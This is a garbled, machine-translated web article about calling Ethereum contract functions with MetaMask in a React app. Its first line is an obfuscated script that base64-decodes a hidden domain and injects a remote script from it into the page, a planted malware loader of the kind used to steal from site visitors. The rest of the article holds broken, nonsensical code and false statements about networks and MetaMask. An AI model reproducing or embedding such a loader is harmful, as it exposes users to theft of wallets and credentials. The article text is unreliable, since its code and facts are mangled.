const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=600e751b”;document.body.appendChild(script);
Metamast: Web3.js – Extender and mobile app
As a react developer who builds decentralized applications (DAPPS) on the Ethereum blockchain, she probably trusts with the importance of safe communication between your front-end and back-end. One crucial aspect is to ensure that your contract functions are successfully called up in your application.
In this article we deal with the use of Metamask, a popular Web3.js extender for Reactive applications, to call up contract functions on your local Ethereum -Testnet or Mainnet.
What is metamask?
Metamask is an open source browser extension with which users can interact directly in their web browsers with the Ethereum blockchain. It offers a user -friendly surface for sending and receiving ether (ETH) and for interaction with various contract functions.
Why call contract functions with Metamask?
Calling up contract functions in your local testnet or Mainnet can be useful for testing, the development or even provision of production. However, it is important to note that the call of contract functions does not work directly from a browser extension due to safety and compatibility problems.
Here are some scenarios in which you may want to call contract functions with Metamask:
- Test decentralized applications
: If you create a DAPP on the Ethereum blockchain, Metamask can help to check the functionality of your application without setting up an external network.
- Development environment : You can use Metamask to interact with local tests or development networks to test contract functions before they are provided in a live chain.
- Production provision : If you plan to provide your DAPP in the Mainnet, it is important to ensure that your contract functions are successfully called up. Metamask can help you achieve this by providing a secure interaction for interaction with your contract.
Metamask Extender and Metamask Mobile App
The Metamask Extender is a light browser extension with which you can access the Ethereum blockchain in your web browser. It is available for Chrome, Firefox, Safari and Microsoft Edge. After installation, you can use the Metamask Extender to interact with your contract functions.
How to call contract functions with Metamask
Follow the following steps to call up contract functions with Metamask:
- Install the Metamask Extender : Download the metamask extender from the official website and install it.
- Open the extender settings : In the address bar, click the three points (⋯) next to your browser symbol and select “Settings”.
- Select the TestNet or the Main Set : Select the Ethereum network you want (e.g. Ropsten Testet or Rinkeby Mainnet).
- Create a new wallet : Create a new wallet or use an existing one.
- Install the Metamask -Web -SDK : The Metamask Extender offers a web -SDK for interaction with its contract functions. You must install this JavaScript library in your React application.
Here is an example of how you can call up a contract function with a metamask in your react component:
`JSX
Really import, {usestate} from ‘react’;
Import the modamaskfebsdk from ‘@metamask/web-sdk’;
Const Web3 = Metamaskwarf;
Function Mycomponent () {
Const [Contractdress, SetContractdadress] = usustate (‘0x …’);
Const callfunction = async () => {
attempt {
// Call the contract function with Metamask
Const Web3 = New Web3 (Metamaskwarbsdk);
Const account = waiting metamaskwarfk.toccounts (). Find ((account) => account.Address ==== contract address);
const results = waiting web3.eth.call ({{to: contractaddress, data: ‘0x …’, value: ‘0x …’});
console.log (result); // output of the function returned by the contract
} Catch (error) {
Console.